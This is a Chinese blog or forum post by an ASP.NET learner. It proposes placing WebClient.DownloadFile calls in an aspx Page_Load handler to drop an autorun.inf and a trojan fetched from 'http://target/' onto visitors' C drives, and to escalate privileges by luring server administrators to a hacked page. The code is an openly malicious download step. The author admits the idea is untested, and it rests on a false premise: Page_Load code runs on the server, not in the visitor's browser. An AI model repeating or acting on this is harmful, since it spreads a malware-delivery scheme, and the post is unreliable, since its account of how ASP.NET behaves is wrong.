学习asp.net中看到这样一段代码，是下载文件用的，试了下觉得挺危险的，可能可以被非法利用。（当然还没有按我的想法去测试，因为我现在在手提上没有安装IIS，不知道能不能成功 )（因为在之前我没有怎么学习过asp.net，所以不知道这个问题在网上被讨论过了没有，如果已经被关注过了，勿笑）
代码是利用System.Net.WebClient进行下载，但问题是下载过程可以完全后台实现 ，而打开页面的人却毫不知情，这就给病毒的传播提供了机会。
例如，我在一个aspx页面的Page_Load事件里写上这么一段代码。
protected void Page_Load(object sender, EventArgs e)
{
System.Net.WebClient wc = new System.Net.WebClient();
wc.DownloadFile("http://download.rising.com.cn/zsgj/Vikingkiller.scr", "d://Vikingkiller.scr");
}
只要一浏览该页面，D盘下就自动下载了一个Vikingkiller.sc的文件。可能大家还是没有意识到这个的危险性，认为仅仅是自动下载但不会自动执行那就对系统没有影响。但是细想下当前流行的U盘病毒是怎么传播的---利用磁盘根目录下的autorun.inf可以实现程序双击打开磁盘的时候自动运行程序。因此，一个恶意页面可以这样构造.在http://target/上放置一个autorun.inf和带木马的程序（假设为muma.exe吧）,然后某个自己站点（或被黑站点）的aspx页面上写上一段
protected void Page_Load(object sender, EventArgs e)
{
System.Net.WebClient wc = new System.Net.WebClient();
wc.DownloadFile("http://target/autorun.inf", "c://autorun.inf");
wc.DownloadFile("http://target/muma.exe", "c://muma.exe");
}
其中autorun.inf的代码就是实现自动执行muma.exe。这样当用户浏览了带有该代码的页面后就会在自动下载autorun.inf和muma.exe到C盘，当某天用户双击打开c盘后，就这样中招了。
如果这样的做法可行的话，扩展开来还可以用在服务器的提权中，通常在服务器上的权限设置比较严禁，取得某站点的权限后很可能对其它目录都没有权限读写，利用这样的代码，可以引诱服务器管理员在远程登陆时访问被黑站点的页面，这时就可以实现把木马程序自动下载到别的目录了。
当然，未经测试，不知道下载回来的autorun.inf不是隐藏属性时会不会自动执行，有待试验。